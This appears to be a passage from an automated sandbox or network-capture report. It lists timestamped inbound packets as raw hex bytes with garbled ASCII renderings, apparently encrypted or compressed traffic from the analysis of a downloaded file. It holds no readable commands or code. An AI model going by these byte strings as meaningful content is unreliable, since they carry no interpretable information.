2021-09-27 18:14:09 UTC	124	IN	Data Raw: 3a 46 f2 75 2a c7 eb 8f 74 1e ec 11 1b 1b 5b 53 fc 16 fe d5 28 de 41 f3 8f 0d 45 b2 d7 9f 39 52 f5 fa 64 4d ee fa c8 9f c3 d7 b3 a0 a1 f4 25 a4 0d 09 8b ab 6e 46 71 cb 96 f5 5d 82 41 ed 56 65 7b 6c 9f 48 e4 7b e1 15 41 d1 f5 be 18 e9 47 04 5c 49 ce 7b dc c0 50 d2 b6 62 d5 da 49 81 3d 6d 76 71 92 87 63 2f 5d 08 50 20 d7 1d ab 56 5c 29 f1 61 1a 90 6c 56 bc f9 bb d7 cd 73 7c 1f ee aa 5d 33 b5 37 00 2d e2 b0 c3 a5 02 7a 62 48 be 34 3d 23 ec 72 8c 91 fd 53 8e 10 4f df 2b 0c 7e c0 5e 29 9e 01 a3 05 df 63 71 69 9b b5 a3 6e 70 f5 31 da bc 90 cc 83 6b cd ea f6 b7 b1 68 2c c9 60 0a 05 b8 a1 7c 3a ec 8d cb 44 7e 16 6e 40 84 99 d9 3b 24 93 2a 30 87 34 8f 83 88 f0 5c fb 15 52 a9 8e 6b 1b 5f ff 31 e3 58 df c1 41 57 7f c0 c1 da 67 55 38 ae 9c e2 3f 22 3c 22 71 f4 e2 66 Data Ascii: :Fut[S(AE9RdM%nFq]AVe{lH{AG\I{PbI=mvqc/]P V\)alVs\|]37-zbH4=#rSO+~^)cqinp1kh,`\|:D~n@;$04\Rk_1XAWgU8?"<"qf
2021-09-27 18:14:09 UTC	125	IN	Data Raw: 3d 97 1b 91 f7 13 d3 03 24 71 60 30 0c 01 d1 c4 2c 02 33 57 e6 be 74 e3 e2 ea d7 ce 40 af 3d a5 fe 7f ef 04 2f 12 97 4e 68 f9 48 9d 33 9b fb fe 67 a5 95 43 26 33 93 1b bf 20 d9 b7 3c a2 34 05 28 fe 23 5d 15 38 0b 75 ea 33 33 d3 3d c6 9f de a4 bf 10 89 dc e9 2f 27 f2 7c 22 f2 bc 6b ef 14 31 11 f3 f1 9d 41 f3 8d df dc 22 e8 3c 16 1b e2 12 32 8d 1d 99 e1 95 86 ad 3e e0 5c 3d 1f 0f 93 b5 0a 44 6e ec 9f e9 54 eb 19 de d6 3d c0 1c 47 19 db b5 95 27 13 29 ea b3 6b 42 8c 73 a4 42 f2 4a cc 02 d4 cd 77 cb e8 ad 9e d1 8d 0c f5 b5 b4 a2 d1 3e 33 7d 70 48 ff b5 99 4f 3f 82 af 83 19 f0 3d 1f c1 80 bc e4 3e 35 8c 78 4f 10 1c 97 65 59 15 30 5a 88 74 27 90 ce 13 ff c9 17 84 77 ec ba 01 3e 1d c6 03 e6 62 cf a6 12 6a 3c 6d b6 24 99 ba 25 30 6b af b9 9b cf f5 f7 fd af ca b7 Data Ascii: =$q`0,3Wt@=/NhH3gC&3 <4(#]8u33=/'\|"k1A"<2>\=DnT=G')kBsBJw>3}pHO?=>5xOeY0Zt'w>bj<m$%0k
2021-09-27 18:14:09 UTC	127	IN	Data Raw: 0d da 40 11 df 74 b5 e7 eb 1a 12 4c bc 59 43 6e 27 a0 5b f4 7f e1 1e 6d e4 09 bf 32 d7 2b 01 ba 49 ce 7b bd fd cb f7 91 45 8f c4 01 ab 29 77 65 75 8d 9d 4f 14 a1 09 7a 09 ae 70 36 57 4d 29 f1 26 7e b4 6d 5b b1 e3 ca 3b 1a 8f 83 35 77 a1 8b 0b f8 37 06 05 8a cd 27 29 03 7e 79 00 5a 64 11 2d c0 10 48 b0 cf 54 8c 06 2a 78 07 0e 7a ec 6a 54 d0 9a a2 2d db 7c 3a fb be 98 bd 5e 64 95 0a ee b8 87 32 9d 4d e7 df ff b7 b0 54 bc b6 d5 09 12 b7 be 37 b8 37 a1 e8 60 4a 58 65 9d 85 e2 48 25 2d bf 2d 10 85 31 d8 7c f7 69 59 d1 11 4d e4 07 7e 34 50 f1 2e ae 78 90 c2 41 46 76 ff c2 ec 65 52 29 7a f7 b0 a4 3b 37 26 69 ac 86 42 14 6f 99 2f 32 77 59 c9 23 08 42 21 3c b1 fc 09 7c 9c 9e 76 c0 32 49 ae af d8 84 f9 0c 38 28 ea eb 50 f8 24 b6 d9 e5 e9 32 99 78 f6 ff e1 3a 4b 54 Data Ascii: @tLYCn'[m2+I{E)weuOzp6WM)&~m[;5w7')~yZd-HT*xzjT-\|:^d2MT77`JXeH%--1\|iYM~4P.xAFveR)z;7&iBo/2wY#B!<\|v2I8(P$2x:KT
2021-09-27 18:14:09 UTC	128	IN	Data Raw: 3d 94 47 3d 5a 10 a4 b7 02 f0 8e 55 9b 81 1b 29 fe 3c 53 10 3d 24 77 ec 1f 73 c3 da 5e 9e da bf d7 90 36 d4 ca 06 1e 9a 46 a4 bf bd 6b f3 23 10 3b de f5 b7 29 a7 7a a0 45 27 f7 40 93 25 55 38 39 9d 43 a6 56 b0 d2 ac 21 fe 6b 56 35 22 97 9f 62 10 9d 93 06 ec 4b 96 9c e7 61 17 cb 0d 18 26 0d 90 0f 26 0c 22 d8 b6 44 40 8a 5f e0 52 15 d2 cd 06 cf a8 f0 74 e0 8f b7 e8 e8 31 00 2e b5 a2 ce 3b 0e 78 5f 4a f9 99 d9 5b d8 1a ae 87 02 94 b9 a0 c9 a3 94 dd 5a 0b 43 ce 4e 10 06 a6 60 76 17 36 76 cc 64 c0 08 cf 17 e4 aa 92 3b 7f ce 93 38 5d 22 15 b0 e7 62 d0 a1 74 6f 13 6f b0 08 dd ae c2 a8 6a ab a2 f9 75 4a ff df 87 f3 d5 c4 c7 ee 79 a7 47 35 ec 73 8a 42 fc ab b8 6f c0 19 ba ef 46 b1 67 d1 e1 56 6e cd 42 34 74 76 05 32 f7 7f a6 d1 b3 10 4e 12 ef ea 78 fb 37 cb 03 05 Data Ascii: =G=ZU)<S=$ws^6Fk#;)zE'@%U89CV!kV5"bKa&&"D@_Rt1.;x_J[ZCN`v6vd;8]"btoojuJyG5sBoFgVnB4tv2Nx7
2021-09-27 18:14:09 UTC	129	IN	Data Raw: 92 96 78 30 8b 24 7e 23 c6 24 29 28 d4 2c ee 6b c4 0e 40 54 97 66 a6 36 21 aa a3 aa 68 a8 a3 06 19 30 00 2f ff ba 96 05 01 7a 60 60 46 3f a5 22 e6 0b 22 30 fd 57 8c 9c 17 7d 38 2a 5a 4a 40 3a ae 23 4f 2a df 63 6e 6d b3 98 b0 78 7d f4 a8 a4 22 86 32 86 67 6e f2 fd b7 2c 5b ff d9 6a 28 b3 b3 a1 7b 02 ea 8b e7 46 4c 3c 68 a1 86 e4 62 b8 5a 0e 01 12 81 17 50 12 89 f0 c2 f4 38 43 8f bd f9 19 5f d7 11 18 5f d7 c1 56 6e 44 c9 ea c7 4d d4 51 c9 9c ce 39 1a 94 22 76 e2 86 42 14 73 99 10 df 57 22 ca 03 f4 5f 09 11 ac ec 27 7b f0 e0 e9 eb b0 33 28 e1 42 a5 f4 a7 1e 37 a5 51 0a d6 35 90 e6 4b c1 1f 9b 58 fc dd 8f 44 cc 7d 2f 63 36 05 36 39 8a fc 7a 6f 8f 63 35 27 06 0d 34 55 dd ac 97 16 35 81 b7 86 4d cf 07 df 7a ca 86 7c 20 51 46 b3 ee 5d ef a5 06 cd ef 26 cf 8a c7 Data Ascii: x0$~#$)(,k@Tf6!h0/z``F?""0W}8ZJ@:#Ocnmx}"2gn,[j({FL<hbZP8C__VnDMQ9"vBsW"_'{3(B7Q5KXD}/c669zoc5'4U5Mz\| QF]&
2021-09-27 18:14:09 UTC	130	IN	Data Raw: d7 f3 9d 58 fc cb 8c 47 23 ee 12 8f 7e e1 36 1f 86 1b 40 fa b5 d2 36 1b cd 51 5d 17 e4 91 b5 0c 4e 9a 9b 06 e8 4b cd 2e ef 4e 18 eb 38 e7 78 5e 94 0f 22 33 ee f0 9b 46 da a9 58 9c 0a ac 14 cd 02 d0 f2 aa 58 cd 80 8e d5 ba 3c d7 2b b3 88 57 5f bf 54 5d 4e df 7b b3 25 41 81 8b ae 0f c9 03 4d e4 ad b2 e2 c3 22 ac cb 51 32 34 a3 4f 74 11 1a da dc 83 58 09 cb 33 32 d6 08 1e c8 e4 98 35 07 22 2f b5 e7 62 ef bd 56 42 11 70 91 0a 9e d2 5b af 40 29 c3 1d ee 6f d6 f0 6b ec a8 e4 56 cd 54 b5 7e 1b 0e 5e 88 42 da aa dc 11 59 07 99 c3 74 cd fd f2 e6 df 36 4b 3d 14 69 50 ce 32 e8 6f 14 d9 9c 02 6e 18 4a 94 e1 fa 17 81 16 7a 9e 91 e0 05 8e 4d 2c d2 41 d2 6c a3 56 87 65 94 be c9 73 f2 44 39 78 6d b5 41 36 a1 ea 7d 01 ac ad 57 52 dd b6 64 4b 81 11 69 95 19 52 b9 eb b2 a5 Data Ascii: XG#~6@6Q]NK.N8x^"3FXX<+W_T]N{%AM"Q24OtX325"/bVBp[@)okVT~^BYt6K=iP2onJzM,AlVesD9xmA6}WRdKiR
2021-09-27 18:14:09 UTC	132	IN	Data Raw: 0f 02 90 67 72 a1 14 14 70 c6 0c 7a ea 60 fd a3 03 a3 32 d4 4b 5c 63 9b b3 98 fa 05 47 2b da bf a7 df 82 47 cf 68 d8 9a a7 58 f2 25 4c 08 12 93 73 76 22 12 90 cf 6b 57 14 43 89 04 9c d1 3b 24 93 20 fc 85 37 f2 88 ac dd 49 f7 35 bc a9 9d 5b 39 87 da 31 e3 42 ff ec 43 46 6f e1 6c bf fe 53 2f 54 bd 21 3d 3a 37 b8 53 cf 0e 41 19 8e bf 30 7c 77 fe c7 23 08 47 02 39 9e fe 0f 50 d8 62 91 58 33 4d b5 c0 b2 a1 d4 03 84 12 88 da 09 db d4 b6 c6 ef e1 f8 96 78 f0 c2 a7 69 d0 55 04 4b b0 7d 85 be f4 61 5b 9e 8b 43 90 bd 23 20 bc 56 d0 4f b1 36 90 a1 5f 8b 6d db 10 d2 52 f8 8b 54 0b 79 c4 cb 5d da 91 38 27 3f eb 06 69 10 e2 d8 9b c5 cb d0 30 02 15 19 a8 02 75 88 43 1d ed da d9 90 b9 40 fc 5a 47 c1 17 48 5c a4 ac 5b 10 69 fc 74 2a bc ab 02 6a 53 d7 1a 05 88 01 84 0b 2b Data Ascii: grpz`2K\cG+GhX%Lsv"kWC;$ 7I5[91BCFolS/T!=:7SA0\|w#G9PbX3MxiUK}a[C# VO6_mRTy]8'?i0uC@ZGH\[it*jS+
2021-09-27 18:14:09 UTC	133	IN	Data Raw: 0f bc 36 04 e2 bd 66 53 8d 75 8e 0c 42 dc cd 02 cf c9 42 7c cf 80 97 dd 14 6f 4c 2a b5 a6 f1 35 27 55 5d d0 da 9e a1 03 61 0f af 83 1d cf ca 8a e4 ad ad c8 09 06 ae cb 48 3a 9a f0 d4 75 17 34 7c b7 1b 59 09 55 36 d6 c4 2e 3e 47 c0 b5 27 01 f1 e9 b5 e7 7d c5 91 71 40 11 69 9c a4 cd 49 5a a9 6e 8f ab 85 ef 6f 48 f5 8c fe 8e c4 da e9 79 a7 78 c6 cb 5e 88 5d f3 a9 fb 13 59 1e 90 6d 27 56 fc f4 c8 79 5f d3 3c 14 f7 55 28 20 ce 4f 99 fd b1 10 68 3e 91 94 e1 e5 39 e7 31 78 9e 88 e9 af dd d6 2d d4 6f 74 0a 3b 57 87 fb 91 5f d8 55 d2 c6 1d 55 7f b3 75 ea a1 ea 60 09 f0 a5 57 54 e8 13 32 ff 82 11 6b 9f 86 2d 20 ea 28 84 60 3e f9 3a 15 8e ac 30 05 4d b6 77 73 d0 09 51 2d d7 f9 7f a2 34 10 4d bb 0c 75 33 92 b9 53 70 ea ee f6 c7 5d 51 b1 f5 00 6e 5d 7d d0 e5 71 47 1d Data Ascii: 6fSuBB\|oL*5'U]aH:u4\|YU6.>G'}q@iIZnoHyx^]Ym'Vy_<U( Oh>91x-ot;W_UUu`WT2k- (`>:0MwsQ-4Mu3Sp]Qn]}qG
2021-09-27 18:14:09 UTC	134	IN	Data Raw: 51 a4 6c 15 e6 46 51 34 7f a2 86 e2 d2 1f 09 85 26 32 bf 36 f2 12 a9 44 49 d1 15 4d be b5 76 1b 5f d1 1b 65 26 4e c0 41 42 49 f0 eb c1 67 c8 0a 7d 8f e8 1d 01 36 22 76 c2 d7 76 39 61 a0 23 54 7a 20 ca 25 22 de 77 88 b2 fc 0b 76 ce e1 ef c1 a8 68 9c f2 64 81 e8 02 1e 37 85 15 3e fb 24 a9 cd c7 ec 1d 9b 7e da 53 f1 dd d3 55 06 41 0b 02 1c bf 6e 40 56 7d ad 63 ad 26 06 0d 8e 99 e1 be b1 29 89 a9 9a 84 6d dd 25 5d 04 4c 88 54 09 73 78 b4 c4 db 0b 19 2a dc cd 26 57 8b c7 f5 aa e1 f9 22 30 1e 3d 14 5f 0f 73 a2 dc 4b 59 d9 d9 92 b3 fd 83 c3 46 5b 36 45 be 82 8c 64 8b 4c d1 45 04 8e 58 02 71 7b da e4 08 8e 2b 11 5d 9f 00 f7 28 77 7e cf 6d 64 15 f7 48 35 59 67 64 6b 07 16 80 56 64 d9 9f 0f 83 df 35 08 0a 1e 26 c1 5a 2b 99 a7 67 71 c4 2d e3 d2 f5 95 98 df 8d fb ee Data Ascii: QlFQ4&26DIMv_e&NABIg}6"vv9a#Tz %"wvhd7>$~SUAn@V}c&)m%]LTsx*&W"0=_sKYF[6EdLEXq{+](w~mdH5YgdkVd5&Z+gq-
2021-09-27 18:14:09 UTC	135	IN	Data Raw: ad 92 c7 34 2b ac d4 57 38 31 8c 4d 72 3d b6 22 3b 1b 59 0d ef 72 fa d6 08 84 77 ec a7 01 01 63 e7 b5 e7 42 d1 ac 5c 42 0e 62 9e 0f b1 d0 5d 83 ec d1 24 85 ef 6b f2 b2 a0 ec a8 7e e9 c5 6b 81 78 59 c5 5e 88 62 d1 94 d6 11 46 0f 92 c6 5b cf fb de 4a 27 d1 d3 3c 10 4d 13 04 32 e8 f5 ab d1 a3 36 68 5b 80 94 e1 da 75 da 1c 7a 81 9d eb 00 a1 4f 2a fe ed 2a 8b 3b 57 83 41 d0 73 c9 73 68 fb 31 47 59 b3 05 fb a1 ea 5d 74 c8 a7 57 4d cf bd 61 64 83 17 45 39 e1 b5 21 ea b6 81 28 2d df 1a 96 aa 81 22 03 76 c3 76 73 cf 38 1b 15 d5 f9 66 91 9e 43 d6 ba 0a 5b 95 f6 21 52 70 74 eb bd d7 7b 71 31 d1 2d 7c 5b 71 a6 e4 71 5b 15 40 53 f6 5d 6d d4 c3 a8 68 0d ee 3b 88 61 dd 59 02 13 f2 a7 2b a5 c4 68 aa 24 2a e1 f6 f8 32 7a 89 db e8 52 e3 e5 d9 a4 ea d5 a2 a2 95 88 5a 11 19 Data Ascii: 4+W81Mr=";YrwcB\Bb]$k~kxY^bF[J'<M26h[uzO*;WAssh1GY]tWMadE9!(-"vvs8fC[!Rpt{q1-\|[qq[@S]mh;aY+h$2zRZ
2021-09-27 18:14:09 UTC	137	IN	Data Raw: 9d 54 18 17 25 04 56 65 1d 67 39 41 d4 27 7c 57 3d d0 0b 25 5a 09 17 99 7a 71 cf f3 e0 eb e1 ba 4c b1 e0 d8 84 f9 11 38 17 2d ca 2f fb 04 33 d1 ef c1 00 91 50 dd d7 8f 42 f8 d3 7c f8 37 03 18 9f 7d 64 7b 6f 11 66 bd 35 20 2d 27 71 f0 be 91 b9 87 81 b7 99 66 f3 22 dd 7a d3 a3 d6 73 ca 47 b5 c0 fb 1b 3d 07 cd 71 23 44 9b e1 d5 00 e2 eb 22 10 98 02 39 5d 12 5d a5 5c 35 c6 f2 5b e8 0a c3 82 c7 66 4a 12 68 af 3e 89 76 9b 6a f1 ee 0d 9c 58 22 cb 44 f7 e6 15 a0 2c 91 23 00 2b 71 52 ce 3f ce 69 44 03 d3 65 24 e5 62 09 78 21 36 2c 5a 76 d9 bf bc bc f2 37 17 1c 1c 8d bd c3 2c b3 25 39 a9 c4 2d e7 68 5d b9 8a f9 37 9f c2 b5 94 16 12 d0 0c c4 03 91 67 60 30 04 26 d4 eb 2e 04 1f 13 1e 59 ec e2 e6 f1 ef da 64 82 32 19 c4 4a dd 2c 0e 9c 96 51 65 f1 a2 88 33 9d ce 99 31 Data Ascii: T%Veg9A'\|W=%ZzqL8-/3PB\|7}d{of5 -'qf"zsG=q#D"9]]\5[fJh>vjX"D,#+qR?iDe$bx!6,Zv7,%9-h]7g`0&.Yd2J,Qe31
2021-09-27 18:14:09 UTC	138	IN	Data Raw: af b9 a4 41 6e d2 d0 3b c9 85 f5 ea c8 d7 a6 58 3b e4 7e 91 42 fa 9c fe 3c 5b 18 bc c1 db b1 64 f5 cc 5d 68 7d 3d 14 6d ea 20 1f f9 49 ae 53 b0 10 48 18 a6 8d e1 fa 29 e7 31 78 9e 88 e9 ab dd d6 2d d4 6f 74 a2 3b 57 87 fb 91 5f db 55 d2 6e 1d 55 7f b3 4e e3 a1 ea 62 2a f5 8a 55 52 c4 bf ca 18 1a 10 6f bb bf 9d 21 ea b2 3b 68 01 cd 3c 2c 3e ad 30 25 76 9c 6e 73 cf 07 69 28 f8 fb 79 8e 9c ec aa 23 0d 71 17 a8 0a 52 70 70 51 fe fb 6a 57 8b 46 01 6e 7d 71 8a fc 71 5b 28 13 6b f4 5d 74 ef 6d fb f3 0c e8 15 2a ac 45 58 02 8d f7 ed 38 83 e4 41 8e 09 3b e7 87 86 33 7a 96 e7 4c 6a e1 e5 c2 a6 45 a9 3b a5 bf 0e 04 3c 19 0b f0 b0 4a 6b 64 93 c3 40 5c 88 69 b1 3a 7c 71 60 9e 69 da 7d e1 02 6f 4b 75 26 35 fd 41 5f 96 49 ce 7f 38 90 7c c3 9a 6a 1c da 49 8b 17 01 7c 75 Data Ascii: An;X;~B<[d]h}=m ISH)1x-ot;W_UnUNbURo!;h<,>0%vnsi(y#qRppQjWFn}qq[(k]tmEX8A;3zLjE;<Jkd@\i:\|q`i}oKu&5A_I8\|jI\|u
2021-09-27 18:14:09 UTC	139	IN	Data Raw: 14 1e 9b 78 6a f0 a2 56 f4 75 d7 60 36 03 3c 7d ee 65 7b 70 9a 6b bd 25 06 0b 84 f6 8e 27 b0 36 94 a1 61 87 6d db 95 fa 57 c7 af 74 db 52 46 b5 e4 08 8b 3c 07 d2 e7 2e 44 88 c7 f3 a0 65 95 bb 31 02 11 19 8a 0e 75 88 c4 10 ed ca ff b6 44 c3 82 c3 66 1e 09 68 af bb 8f 73 a7 4e d1 63 26 1a 26 9b 6b 53 f3 c6 d0 89 01 93 b9 23 2c e5 0a 77 e6 cf 6d 64 af d0 7e 24 7f 58 35 42 2a 14 a0 5d 5c 5f e1 8d aa f2 33 28 d5 35 a0 bf 59 0f b4 b1 61 10 1c 2c e3 48 f0 ab 91 f9 ad a5 c0 8f 9f 34 9f d7 26 46 5d b0 71 60 34 3b f3 fd c6 2c 9e 3c 14 89 01 55 39 e7 f5 cf 74 27 99 32 83 f9 4f e2 08 2e 14 bd d3 1b 48 64 9f 37 bd 0a 91 19 3c 0e 66 0f 3d ac a1 41 0c d6 91 03 ff 0f 1e 29 e9 0b 6f 3a 10 20 5d 68 4b 80 bc 43 5b be 02 a1 a0 0a 89 dc e9 31 27 cd ba 03 ba bd 4b aa 10 3d 39 Data Ascii: xjVu`6<}e{pk%'6amWtRF<.De1uDfhsNc&&kS#,wmd~$X5B*]\_3(5Ya,H4&F]q`4;,<U9t'2O.Hd7<f=A)o: ]hKC[1'K=9
2021-09-27 18:14:09 UTC	141	IN	Data Raw: 4c 18 7d 95 e1 fa ad ea 31 6b b8 ae 3f 2c a3 4f 0c 63 77 54 12 22 7f aa 63 b4 74 e3 f1 8c 47 1d 55 7b b3 9c fb a1 ea e7 04 f0 b6 71 72 3f 94 4c 66 a3 a8 73 bf 9f 31 08 c7 b0 a1 4b 06 59 64 95 8e ac 34 05 a8 a7 77 73 55 3d 54 12 f3 d9 87 89 b6 6e f4 7a 10 71 13 97 b7 7b 5d 72 cb dd fc fd 0f 32 f5 00 6a 5d ae c1 e5 71 c1 10 16 54 d0 7d 8d c4 eb 85 4a c2 f4 11 0a 00 55 70 2f 15 d2 c6 00 27 ba 6b 8e 09 3f e7 d6 9d 33 7a 13 de 49 56 c5 c5 c4 8e c7 d7 82 44 a3 0a 24 96 30 26 f2 2a 69 6c f7 cb 7a f5 5d 8c 49 90 55 65 71 fa a5 6c e6 59 c1 05 47 c9 0b 9f dc e1 45 7f 3f 60 e3 7d a2 b3 7b 54 c2 d3 a8 db 4d ab 35 76 65 75 08 b3 4a 2b 85 29 7e 21 c0 0e 8f b8 51 2d ee 70 ee b9 6d 56 97 fa a9 99 4d 15 82 35 6c 88 a0 24 fa 37 9a 0a cd a2 98 08 00 78 66 4a e0 b9 20 23 e6 Data Ascii: L}1k?,OcwT"ctGU{qr?Lfs1KYd4wsU=Tnzq{]r2j]qT}JUp/'k?3zIVD$0&*ilz]IUeqlYGE?`}{TM5veuJ+)~!Q-pmVM5l$7xfJ #
2021-09-27 18:14:09 UTC	142	IN	Data Raw: db 97 16 85 b3 72 07 69 8e e7 d6 88 e3 eb b8 15 2f 04 1f 7d 2c 77 88 5e 15 2d c6 d9 96 8f ea af c1 46 c7 39 ea d1 3d ad 5b 8e 6c f5 67 0c 9c c2 27 47 42 d1 c6 2c 8a 01 93 03 f5 1f f7 2c 4b 16 e3 6f 64 89 f8 e3 5a e6 46 24 6e 27 33 a2 5b 76 43 ba 39 b9 d4 17 2d 0e 34 a0 9f 3a 34 99 a3 58 13 ed 00 e1 48 d6 92 08 87 34 bb ef a3 92 10 9d d1 0c 5e 06 04 61 46 10 3d 2b fc c6 0c 18 06 39 98 39 5d ce e4 f5 c9 7e e7 fc ab 82 e1 63 ef 2d 2c 12 97 cb 40 fc 74 b9 13 ba d3 90 19 1c b0 5c 22 2c 94 a9 b7 0f d6 97 09 3d 6a 87 28 fe 27 62 10 12 26 77 70 10 34 af 65 7f b6 dc a0 a0 2a 3f e6 c4 20 1e b5 4e 2f b8 bd 6d c5 8d 43 a0 df f3 99 67 f0 e1 a1 45 b9 cd 15 1b 26 58 1e 1d 82 3b a6 7e aa d2 ac 21 9a 6b 56 35 22 97 9f 8a 10 9d 93 06 ec 74 c5 04 c2 4c 82 c8 3f 73 20 e7 bf Data Ascii: ri/},w^-F9=[lg'GB,,KodZF$n'3[vC9-4:4XH4^aF=+99]~c-,@t\",=j('b&wp4e*? N/mCgE&X;~!kV5"tL?s
2021-09-27 18:14:09 UTC	143	IN	Data Raw: 83 11 70 ee b7 01 22 ea b4 8b cb 52 46 1b 0c 8b 8c 7a 27 56 a6 ed 56 e2 0a 5f 20 9f fb 79 88 96 d9 f6 ba 0c 6e 05 a0 95 51 70 76 e1 59 a8 e2 70 ab f0 20 25 7f 51 c0 7f 54 76 24 1d 66 bd 5f 72 c5 cb 48 48 0d e8 0c 22 32 46 58 04 3d 50 be b3 a4 c4 f6 af 45 39 c7 d6 05 16 57 98 dd 44 0b e1 e5 c4 ac 13 f5 a2 a4 a1 22 09 8a 18 0d da a8 11 df 74 b5 e7 d4 10 8a 69 91 cd 40 5c 71 a6 61 ba 7d e1 04 65 15 29 bf 34 e7 6d 52 21 48 c8 55 20 cb c8 d3 bc 4e 89 95 4b 8b 37 ee 40 58 83 b0 47 77 a1 09 7c 03 20 2c af 56 53 05 c3 6d e4 97 6a d2 e9 65 82 1b 37 ac cc 37 68 a8 39 03 d7 25 26 0f af b1 be 28 23 92 44 4a c0 5e 37 0b cb 0d 02 96 d7 d1 f2 9f 33 50 2e 2c 2a e8 40 3a 34 26 8e 3f f9 43 21 63 9b b5 92 8b 59 de 2a c5 9f af 1f 80 47 c9 d8 7b c9 2f 7f d2 cc 6c 59 10 b3 a1 Data Ascii: p"RFz'VV_ ynQpvYp %QTv$f_rHH"2FX=PE9WD"ti@\qa}e)4mR!HU NK7@XGw\| ,VSmje77h9%&(#DJ^73P.,@:4&?C!cYG{/lY
2021-09-27 18:14:09 UTC	144	IN	Data Raw: 4a 23 f5 e6 08 a8 e6 b7 23 06 1e e6 04 7a 3c ce 6b 4e 0d ac fc 25 7f 43 04 1b 05 16 a0 c1 53 f4 8e 32 8b 83 35 08 0c 14 58 9b c3 2a 87 8b 6a 32 c5 2b c9 ce ae 21 8b f9 a9 9a 9d a5 b2 36 05 f4 21 d6 05 09 02 62 30 1b 09 fc e3 2c 04 06 29 b0 0a 77 e3 e0 df 4d 2a fc 83 32 87 c1 14 cd 0a 2e 88 b2 7c 74 f7 45 ec 31 9d d1 b0 09 19 94 43 3f 04 a7 83 9a 0b fc 17 5d 22 15 1e 2d de 57 40 38 10 bc 52 c7 27 3f 9d 37 5d 9e de 80 b7 2f 13 f9 db 3c 29 c0 64 02 bc 97 ed 91 92 3c 39 da d3 e8 45 d9 e3 3b 60 0e fa 1e 29 75 7a 37 1f a2 08 a3 fa b5 cd a0 16 cd 41 7b 31 08 17 cb 95 6f 04 96 26 9e 56 ef 06 58 69 35 ff 34 41 70 c5 95 0f 06 2c 0c f0 9b 59 4b a4 58 8c 2c 8a f9 4b 7c 49 d3 6a 55 ed f7 93 f7 92 8b f0 06 a7 84 f1 56 24 55 5d 6a b5 96 b3 25 5e 0b 86 ae 1f ef 25 af 62 Data Ascii: J##z<kN%CS25Xj2+!6!b0,)wM2.\|tE1C?]"-W@8R'?7]/<)d<9E;`)uz7A{1o&VXi54Ap,YKX,K\|IjUV$U]j%^%b
2021-09-27 18:14:09 UTC	146	IN	Data Raw: 6e 25 43 6c 77 e0 72 73 5b 35 1b a7 d0 5d 72 d2 c3 a8 68 0d ee 3b 88 61 dd 59 02 13 f2 58 28 a5 c4 68 aa 24 2a e1 f6 07 31 7a 89 db 86 61 e3 e5 dc a4 ea d5 a2 a2 95 88 5a 11 19 0b f4 0a f6 44 75 b5 79 d1 70 99 4f b1 ce 67 71 60 a0 a5 d1 7f e1 13 6d e4 09 bf 32 d7 c7 01 ba 49 ce 7b 82 2f 53 d2 bc d0 8c f6 58 ad 17 ee 67 75 92 b6 82 1f a3 09 64 0b ed 0c af 50 67 af 90 f6 e5 91 44 74 0c fe 83 1b a9 a9 ae 24 4e 88 38 24 fa 37 20 c8 c6 b3 be 34 2b 57 64 4a c6 6b be 5d 7f 0e 02 94 dd cb 8e 06 32 ca 0f 21 Data Ascii: n%Clwrs[5]rh;aYX(h$*1zaZDuypOgq`m2I{/SXgudPgDt$N8$7 4+WdJk]2!
2021-09-27 18:14:09 UTC	146	IN	Data Raw: 6b cc 60 a6 ac 03 a3 0d 32 45 71 61 8c 9d 9f 7a 7b d8 00 58 c5 1e 33 82 43 ef 6f ff b7 b6 e4 f7 e5 5d 2e 32 2e a3 7b 22 32 62 c1 46 55 0a 6d 8e 84 e2 4e 10 a6 e9 99 13 85 33 d2 8c 8b f0 58 4b 30 7f b8 bb 7b 87 5d d7 31 c3 ae f1 c1 41 51 41 e6 e8 c1 61 78 ad 2e 04 cf 3d 3e 17 bd 74 e2 1c fd 1c 4c ae 16 5c c8 20 ca 23 28 af 2f 11 b3 e1 27 7b f0 e0 e9 eb b0 33 28 e1 42 a5 f4 a3 1c 37 a5 51 0a d6 35 90 e6 4f c3 1f 9b 58 0e f3 8f 44 ce 7d 2f 63 36 05 36 3d 8a fc 7a 6f 8f 63 31 25 06 0d 34 55 dd af 97 16 31 83 b7 86 4d df 28 df 7a ce a1 79 0f 53 40 9f 42 a5 08 3d 07 c9 cb a4 6b 8a c7 6f af ce f9 04 10 a0 17 39 5d 2f 7c af 5e 35 df fb f1 bb 91 c2 84 e9 c0 bf 8a 69 af a0 8c f8 88 4c d1 ff 29 b1 4a 24 4a f0 f5 e6 08 a8 2d b4 23 06 1e fc 04 7a 3c ce 6b 4e 09 ac fc Data Ascii: k`2Eqaz{X3Co].2.{"2bFUmN3XK0{]1AQAax.=>tL\ #(/'{3(B7Q5OXD}/c66=zoc1%4U1M(zyS@B=ko9]/\|^5iL)J$J-#z<kN
2021-09-27 18:14:09 UTC	147	IN	Data Raw: 01 9e f5 ed c1 d2 d2 6a 71 58 a8 91 f7 8d 1a fd 06 b7 a2 d7 0b a4 2b c4 4b ff b7 93 e1 43 1b ae 19 38 c2 32 a3 c4 69 b0 c2 21 0b 0c e3 4e 10 04 a6 60 76 17 36 76 30 64 c0 08 cf 17 db 13 0a 1e 52 5b 90 0a 34 24 c6 70 e5 62 cf 99 fe 6a 11 6f 96 31 b2 d0 5b 81 47 ad bd 82 c5 ed ac 49 a0 ec ac c4 0a ea 79 a7 c2 1e e9 4f ae 62 3c 83 d6 11 79 ad 93 eb 59 d1 d5 d9 ce 59 4e f8 ba 6a f4 71 05 36 c8 a8 8c fc b1 8a 6d 15 93 b2 c1 3d 35 cf 1c 5a 23 a7 c3 2d bc 16 04 f9 69 54 14 10 d5 f9 f8 b5 72 cd 53 3a dc 1c 55 e5 b6 4c eb 87 ca b5 23 dd a7 77 44 e8 95 4c 78 ab 3c 6d bf 99 06 a2 94 2b a0 4d 28 ff d3 0e 8f ac aa 00 7b b7 51 53 06 1a 79 00 f5 e7 53 88 b6 72 fc 97 0e 71 15 a2 3e 2d e9 71 cb df f6 b1 73 ab f4 9a 4b 50 43 e6 c5 bb 59 35 3b 66 d2 77 72 c5 f4 8c 42 20 ea Data Ascii: jqX+KC82i!N`v6v0dR[4$pbjo1[GIyOb<yYYNjq6m=5Z#-iTrS:UL#wDLx<m+M({QSySrq>-qsKPCY5;fwrB
